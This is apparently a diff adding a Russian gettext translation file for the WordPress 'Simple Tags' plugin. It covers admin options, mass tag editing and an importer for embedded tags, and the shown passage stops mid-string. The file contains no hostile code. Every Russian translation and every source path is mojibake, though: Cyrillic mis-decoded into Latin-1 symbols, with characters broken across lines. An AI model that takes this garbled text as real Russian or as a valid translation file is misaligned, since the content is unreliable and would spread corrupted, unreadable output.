+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:818
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "ÐÐŸÑÐµÑÐžÑÐµ <a href=\"http://code.google.com/p/simple-tags/\">ÐŽÐŸÐŒÐ°ÑÐœÑÑ ÑÑÑÐ°ÐœÐžÑÑ Ð¿Ð»Ð°Ð³ÐžÐœÐ°</a> ÐŽÐ»Ñ Ð±ÐŸÐ»ÑÑÐžÑ
+ ÐŽÐµÑÐ°Ð»ÐµÐ¹. ÐÑÐ»Ðž Ð²Ñ ÐœÐ°ÑÐ»Ðž ÐŸÑÐžÐ±ÐºÑ, ÐžÐ»Ðž ÐžÐŒÐµÐµÑÐµ ÑÐ°ÐœÑÐ°ÑÑÐžÑÐµÑÐºÑÑ ÐžÐŽÐµÑ ÐŽÐ»Ñ ÑÑÐŸÐ³ÐŸ Ð¿Ð»Ð°Ð³ÐžÐœÐ°, <a href=\"mailto:amaury@wordpress-fr.net\">ÑÐ²ÑÐ¶ÐžÑÐµÑÑ ÑÐŸ ÐŒÐœÐŸÐ¹</a> !"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:225
+msgid "Options"
+msgstr "ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:229
+msgid "Activation"
+msgstr "ÐÐºÑÐžÐ²Ð°ÑÐžÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:236
+msgid "Tags database"
+msgstr "ÐÐ°Ð·Ð° ÐŽÐ°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:243
+msgid "Target"
+msgstr "ÐŠÐµÐ»Ñ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:250
+msgid "Keywords list"
+msgstr "Ð¡Ð¿ÐžÑÐŸÐº ÐºÐ»ÑÑÐµÐ²ÑÑ
+ ÑÐ»ÐŸÐ²"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:253
+msgid "Separated with a comma"
+msgstr "Ð Ð°Ð·ÐŽÐµÐ»ÐµÐœÐœÑÐµ Ð·Ð°Ð¿ÑÑÑÐŒÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:259
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:525
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:548
+msgid "Update options &raquo;"
+msgstr "ÐÐ±ÐœÐŸÐ²ÐžÑÑ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž &raquo;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:263
+msgid "Auto tags all content &raquo;"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž Ð¿ÐŸÐŒÐµÑÐžÑÑ ÐŒÐµÑÐºÐ°ÐŒÐž Ð²ÐµÑÑ ÐºÐŸÐœÑÐµÐœÑ &raquo;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:301
+#, php-format
+msgid "All done! %s tags added."
+msgstr "ÐÑÐµ Ð³ÐŸÑÐŸÐ²ÐŸ! %s ÐŒÐµÑÐŸÐº ÐŽÐŸÐ±Ð°Ð²Ð»ÐµÐœÐŸ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:317
+msgid "Active tags for page:"
+msgstr "ÐÐºÑÐžÐ²ÐžÑÐŸÐ²Ð°ÑÑ ÐŒÐµÑÐºÐž ÐŽÐ»Ñ ÑÑÑÐ°ÐœÐžÑ::"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:318
+msgid "This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page."
+msgstr "Ð­ÑÐ° ÑÑÐœÐºÑÐžÑ Ð¿ÐŸÐ·Ð²ÐŸÐ»ÐžÑ ÐœÐ°Ð·ÐœÐ°ÑÐ°ÑÑ ÐŒÐµÑÐºÐž ÑÑÑÐ°ÐœÐžÑÐ°ÐŒ. Ð­ÑÐ° ÐŸÐ¿ÑÐžÑ ÐŽÐŸÐ±Ð°Ð²ÐžÑ ÑÑÑÐ°ÐœÐžÑÑ Ð² ÑÐµÐ·ÑÐ»ÑÑÐ°ÑÑ Ð¿ÐŸÐžÑÐºÐ° Ð¿ÐŸ ÐŒÐµÑÐºÐ°ÐŒ. Ð¢Ð°ÐºÐ¶Ðµ, ÑÑÐ° ÑÑÐœÐºÑÐžÑ ÐŽÐŸÐ±Ð°Ð²ÐžÑ ÑÐ¿ÑÐ°Ð²Ð»ÐµÐœÐžÐµ ÐŒÐµÑÐºÐ°ÐŒÐž Ð² ÐŸÐºÐœÐŸ ÑÐŸÐ·ÐŽÐ°ÐœÐžÑ ÑÑÑÐ°ÐœÐžÑ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:340
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is automatically disabled."
+msgstr "ÐÐºÐ»ÑÑÐ°ÐµÑ ÐŒÐµÑÐºÐž Ð² meta keywords Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž Ð² Ð²Ð°Ñ Ð·Ð°Ð³ÐŸÐ»ÐŸÐ²ÐŸÐº (Ð±ÐŸÐ»ÑÑÐžÐœÑÑÐ²ÐŸ, ÐœÐŸ ÐœÐµ Ð²ÑÐµ ÑÐµÐŒÑ Ð¿ÐŸÐŽÐŽÐµÑÐ¶ÐžÐ²Ð°ÑÑ ÑÑÐŸ). Ð­ÑÐž ÐºÐ»ÑÑÐµÐ²ÑÐµ ÐžÐœÐŸÐ³ÐŽÐ° ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÑÑÑÑ Ð¿ÐŸÐžÑÐºÐŸÐ²ÑÐŒÐž ÐŒÐ°ÑÐžÐœÐ°ÐŒÐž. <br /><strong>ÐÐœÐžÐŒÐ°ÐœÐžÐµ:</strong> ÐÑÐ»Ðž Ð¿Ð»Ð°Ð³ÐžÐœ \"All in One SEO Pack\" ÑÑÑÐ°ÐœÐŸÐ²Ð»ÐµÐœ Ðž Ð²ÐºÐ»ÑÑÐµÐœ,ÑÑÐ° ÑÑÐœÐºÑÐžÑ Ð±ÑÐŽÐµÑ ÐŸÑÐºÐ»ÑÑÐµÐœÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:574
+msgid "Advanced tags management"
+msgstr "Ð Ð°ÑÑÐžÑÐµÐœÐœÐŸÐµ ÑÐ¿ÑÐ°Ð²Ð»ÐµÐœÐžÐµ ÐŒÐµÑÐºÐ°ÐŒÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:581
+msgid "WordPress 2.3 have a small bug and can create empty terms."
+msgstr "WordPress 2.3 ÐžÐŒÐµÐµÑ ÐœÐµÐ±ÐŸÐ»ÑÑÐŸÐ¹ Ð±Ð°Ð³ Ðž ÐŒÐŸÐ¶ÐµÑ ÑÐŸÐ·ÐŽÐ°Ð²Ð°ÑÑ Ð¿ÑÑÑÑÐµ ÑÐµÑÐŒÐžÐœÑ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:581
+msgid "Clean it !"
+msgstr "ÐÑÐžÑÑÐžÑÑ ÐžÑ
+ !"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:615
+msgid "Published"
+msgstr "ÐÐ¿ÑÐ±Ð»ÐžÐºÐŸÐ²Ð°ÐœÐŸ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:615
+msgid "Published posts"
+msgstr "ÐÐ¿ÑÐ±Ð»ÐžÐºÐŸÐ²Ð°ÐœÐœÑÐµ Ð·Ð°Ð¿ÐžÑÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:616
+msgid "Scheduled"
+msgstr "ÐÐ°Ð¿Ð»Ð°ÐœÐžÑÐŸÐ²Ð°ÐœÐŸ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:616
+msgid "Scheduled posts"
+msgstr "ÐÐ°Ð¿Ð»Ð°ÐœÐžÑÐŸÐ²Ð°ÐœÐœÑÐµ Ð·Ð°Ð¿ÐžÑÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:617
+msgid "Pending Review"
+msgstr "ÐÐ¶ÐžÐŽÐ°ÐµÑ ÐŸÐŽÐŸÐ±ÑÐµÐœÐžÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:617
+msgid "Pending posts"
+msgstr "ÐÐ¶ÐžÐŽÐ°ÑÑÐžÐµ Ð·Ð°Ð¿ÐžÑÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:618
+msgid "Draft"
+msgstr "Ð§ÐµÑÐœÐŸÐ²ÐžÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:619
+msgid "Private"
+msgstr "ÐÐžÑÐœÐŸÐµ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:619
+msgid "Private posts"
+msgstr "ÐÐžÑÐœÑÐµ Ð·Ð°Ð¿ÐžÑÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:663
+msgid "Mass edit tags"
+msgstr "ÐÐ°ÑÑÐŸÐ²ÐŸÐµ ÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÐœÐžÐµ ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:670
+msgid "All Posts"
+msgstr "ÐÑÐµ Ð·Ð°Ð¿ÐžÑÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:691
+msgid "All Pages"
+msgstr "ÐÑÐµ ÑÑÑÐ°ÐœÐžÑÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:700
+msgid "Search Posts"
+msgstr "ÐÐŸÐžÑÐº Ð·Ð°Ð¿ÐžÑÐµÐ¹"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:732
+msgid "Show all dates"
+msgstr "ÐÐŸÐºÐ°Ð·Ð°ÑÑ Ð·Ð° Ð²ÑÐµ Ð²ÑÐµÐŒÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:752
+msgid "View all categories"
+msgstr "ÐÑÐŸÑÐŒÐŸÑÑÐµÑÑ Ð²ÑÐµ ÑÑÐ±ÑÐžÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:765
+msgid "Filter"
+msgstr "Ð€ÐžÐ»ÑÑÑÐŸÐ²Ð°ÑÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:795
+msgid "Update all &raquo;"
+msgstr "ÐÐ±ÐœÐŸÐ²ÐžÑÑ Ð²ÑÐµ &raquo;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1009
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1024
+msgid "Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>"
+msgstr "ÐÐµÑÐºÐž <small>(ÑÐ°Ð·ÐŽÐµÐ»ÑÐ¹ÑÐµ ÐœÐµÑÐºÐŸÐ»ÑÐºÐŸ ÐŒÐµÑÐŸÐº Ð·Ð°Ð¿ÑÑÑÐŒÐž: ÐœÐ°Ð¿ÑÐžÐŒÐµÑ: ÑÐ°Ð¹, ÑÐ¿ÐŸÑÑ, ÐœÐ°Ð¿ÐžÑÐºÐž ÐŽÐ»Ñ ÐŸÑÐŽÑÑ
+Ð°)</small>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:255
+msgid "Your most used tags in cloud format with dynamic color and many options"
+msgstr "ÐÐ°ÑÐž ÐœÐ°ÐžÐ±ÐŸÐ»ÐµÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÐµÐŒÑÐµ ÐŒÐµÑÐºÐž Ð² ÑÐŸÑÐŒÐ°ÑÐµ ÐŸÐ±Ð»Ð°ÐºÐ° Ñ ÐŽÐžÐœÐ°ÐŒÐžÑÐµÑÐºÐŸÐ¹ ÑÐ°ÑÐºÑÐ°ÑÐºÐŸÐ¹ Ðž ÐŒÐœÐŸÐ¶ÐµÑÑÐ²ÐŸÐŒ ÐœÐ°ÑÑÑÐŸÐµÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:57
+msgid "Import Embedded Tags"
+msgstr "ÐÐŒÐ¿ÐŸÑÑ Ð²ÑÑÑÐ°ÐžÐ²Ð°ÐµÐŒÑÑ
+ (embedded) ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:58
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "ÐšÐ°Ð³Ðž ÐŒÐŸÐ³ÑÑ Ð·Ð°ÐœÑÑÑ ÐœÐµÑÐºÐŸÐ»ÑÐºÐŸ ÐŒÐžÐœÑÑ, Ð² Ð·Ð°Ð²ÐžÑÐžÐŒÐŸÑÑÐž ÐŸÑ ÑÐ°Ð·ÐŒÐµÑÐ° Ð²Ð°ÑÐµÐ¹ Ð±Ð°Ð·Ñ ÐŽÐ°ÐœÐœÑÑ
+. ÐÐŸÐ¶Ð°Ð»ÑÐ¹ÑÑÐ°, Ð±ÑÐŽÑÑÐµ ÑÐµÑÐ¿ÐµÐ»ÐžÐ²Ñ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:59
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "ÐÐŸÑÐµÑÐžÑÐµ <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">ÐŽÐŸÐŒÐ°ÑÐœÑÑ ÑÑÑÐ°ÐœÐžÑÑ Ð¿Ð»Ð°Ð³ÐžÐœÐ°</a> ÐŽÐ»Ñ Ð±ÐŸÐ»ÑÑÐžÑ
+ ÐŽÐµÑÐ°Ð»ÐµÐ¹. ÐÑÐ»Ðž Ð²Ñ ÐœÐ°ÑÐ»Ðž ÐŸÑÐžÐ±ÐºÑ, ÐžÐ»Ðž ÐžÐŒÐµÐµÑÐµ ÑÐ°ÐœÑÐ°ÑÑÐžÑÐµÑÐºÑÑ ÐžÐŽÐµÑ ÐŽÐ»Ñ ÑÑÐŸÐ³ÐŸ Ð¿Ð»Ð°Ð³ÐžÐœÐ°, <a href=\"mailto:amaury@wordpress-fr.net\">ÐœÐ°Ð¿ÐžÑÐžÑÐµ ÐŒÐœÐµ</a> !"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:68
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr "ÐÑÐžÐ²ÐµÑÑÑÐ²ÑÑ! Ð­ÑÐŸ ÐžÐŒÐ¿ÐŸÑÑÐžÑÑÐµÑ ÐŒÐµÑÐºÐž ÐžÐ· Ð²ÑÑÑÐ°ÐžÐ²Ð°ÐµÐŒÑÑ
+ (embedded) ÐŒÐµÑÐŸÐº Ð² ÑÑÐŸÐŒ Ð±Ð»ÐŸÐ³Ðµ Ð² ÐœÐŸÐ²ÑÑ ÐœÐ°ÑÐžÐ²ÐœÑÑ ÑÑÑÑÐºÑÑÑÑ ÐŒÐµÑÐŸÐº Wordpress."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:69
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "Ð§ÑÐŸÐ±Ñ ÐŸÐ±ÑÐ°Ð±ÐŸÑÐ°ÑÑ Ð±ÐŸÐ»ÑÑÐžÐµ Ð±Ð°Ð·Ñ ÐŽÐ°ÐœÐœÑÑ
+ ÐŽÐ»Ñ ÑÑÐžÑ
+ ÐŒÐµÑÐŸÐº ( ÑÑÐŒÐ°ÑÑÐµÐŽÑÐžÐµ Ð°Ð²ÑÐŸÑÑ ÑÐ°ÐŒ), ÐŒÑ ÑÐŽÐµÐ»Ð°Ð»Ðž ÑÑÑ Ð¿ÑÐŸÑÑÑÑ 4-ÑÐ°Ð³ÐŸÐ²ÑÑ Ð¿ÑÐŸÐ³ÑÐ°ÐŒÐŒÑ, ÑÑÐŸÐ±Ñ Ð¿ÐŸÐŒÐŸÑÑ Ð²Ð°ÐŒ ÐžÐ·Ð±Ð°Ð²ÐžÑÑÑÑ ÐŸÑ Ð¿ÑÐžÐ²ÑÑÐºÐž ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ  Embedded ÐŒÐµÑÐºÐž. ÐÑÐŸÑÑÐŸ Ð¿ÑÐŸÐŽÐŸÐ»Ð¶Ð°Ð¹ÑÐµ ÑÐµÐ»ÐºÐ°ÑÑ ÐŒÑÑÐºÐŸÐ¹ Ðž ÐŒÑ ÑÐŸÐŸÐ±ÑÐžÐŒ Ð²Ð°ÐŒ ÐºÐŸÐ³ÐŽÐ° Ð²ÑÐµ Ð±ÑÐŽÐµÑ Ð³ÐŸÑÐŸÐ²ÐŸ!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:70
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "ÐÐµ ÑÑÐ¿ÐžÑÐµ - ÑÐŽÐµÐ»Ð°Ð¹ÑÐµ Ð±ÑÐºÐ°Ð¿ Ð²Ð°ÑÐµÐ¹ Ð±Ð°Ð·Ñ ÐŽÐ°ÐœÐœÑÑ
+ Ð¿ÐµÑÐµÐŽ ÑÑÐžÐŒ Ð¿ÑÐŸÑÐµÑÑÐŸÐŒ!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:72
+msgid "Step 1 &raquo;"
+msgstr "ÐšÐ°Ð³ 1 &raquo;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:95
+msgid "Missing parameters in URL. (Start or End)"
+msgstr "Ð£ÑÐµÑÑÐœÑ Ð¿Ð°ÑÐ°ÐŒÐµÑÑÑ Ð² URL. (ÐÐ°ÑÐ°Ð»ÐŸ ÐžÐ»Ðž ÐÐŸÐœÐµÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:107
+msgid "Configure and add tags to posts&#8230;"
+msgstr "ÐÐ°ÑÑÑÐŸÐžÑÑ Ðž ÐŽÐŸÐ±Ð°Ð²ÐžÑÑ ÐŒÐµÑÐºÐž Ð² Ð·Ð°Ð¿ÐžÑÐž&#8230;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:114
+msgid "Start marker"
+msgstr "ÐÐ°ÑÐºÐµÑ ÐœÐ°ÑÐ°Ð»Ð°"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:117
+msgid "End marker"
+msgstr "ÐÐ°ÑÐºÐµÑ ÐŸÐºÐŸÐœÑÐ°ÐœÐžÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:120
+msgid "Delete embedded tags once imported ?"
+msgstr "Ð£ÐŽÐ°Ð»ÐžÑÑ Ð²ÑÑÑÐ°ÐžÐ²Ð°ÐµÐŒÑÐµ (embedded) ÐŒÐµÑÐºÐž Ð¿ÐŸÑÐ»Ðµ ÐžÐŒÐ¿ÐŸÑÑÐ°?"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:122
+msgid "Import also embedded tags from page ?"
+msgstr "ÐÐŒÐ¿ÐŸÑÑÐžÑÐŸÐ²Ð°ÑÑ ÑÐ°ÐºÐ¶Ðµ Ð²ÑÑÑÐ°ÐžÐ²Ð°ÐµÐŒÑÐµ (embedded) ÐŒÐµÑÐºÐž ÑÐŸ ÑÑÑÐ°ÐœÐžÑÑ?"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:125
+msgid "Start import &raquo;"
+msgstr "ÐÐ°ÑÐ°ÑÑ ÐžÐŒÐ¿ÐŸÑÑ &raquo;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:180
+msgid "Done!"
+msgstr "ÐÐŸÑÐŸÐ²ÐŸ!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:182
+msgid "Step 2 &raquo;"
+msgstr "ÐšÐ°Ð³ 2 &raquo;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:199
+msgid "Import Complete!"
+msgstr "ÐÐŒÐ¿ÐŸÑÑ Ð·Ð°Ð²ÐµÑÑÐµÐœ!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:200
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "ÐÐ, ÑÑÐŸ Ð±Ñ ÐŒÑ ÐŽÐµÐ»Ð°Ð»Ðž Ð±ÐµÐ· ÑÑÐŸÐ¹ Ð·Ð°ÐŒÐµÑÐ°ÑÐµÐ»ÑÐœÐŸÐ¹ 4-ÑÐ°Ð³ÐŸÐ²ÐŸÐ¹ Ð¿ÑÐŸÐ³ÑÐ°ÐŒÐŒÑ! ÐÑÐµ Ð³ÐŸÑÐŸÐ²ÐŸ!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:201
+msgid "Now wasn&#8217;t that easy?"
+msgstr "ÐÐµ Ð¿ÑÐ°Ð²ÐŽÐ° Ð»Ðž Ð±ÑÐ»ÐŸ Ð¿ÑÐŸÑÑÐŸ?"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:202
+msgid "You can manage tags now !"
+msgstr "Ð¡ÐµÐ¹ÑÐ°Ñ Ð²Ñ ÐŒÐŸÐ¶ÐµÑÐµ ÑÐ¿ÑÐ°Ð²Ð»ÑÑÑ ÐŒÐµÑÐºÐ°ÐŒÐž!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:242
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr "ÐÐŒÐ¿ÐŸÑÑ Ð²ÑÑÑÐ°ÐžÐ²Ð°ÐµÐŒÑÑ
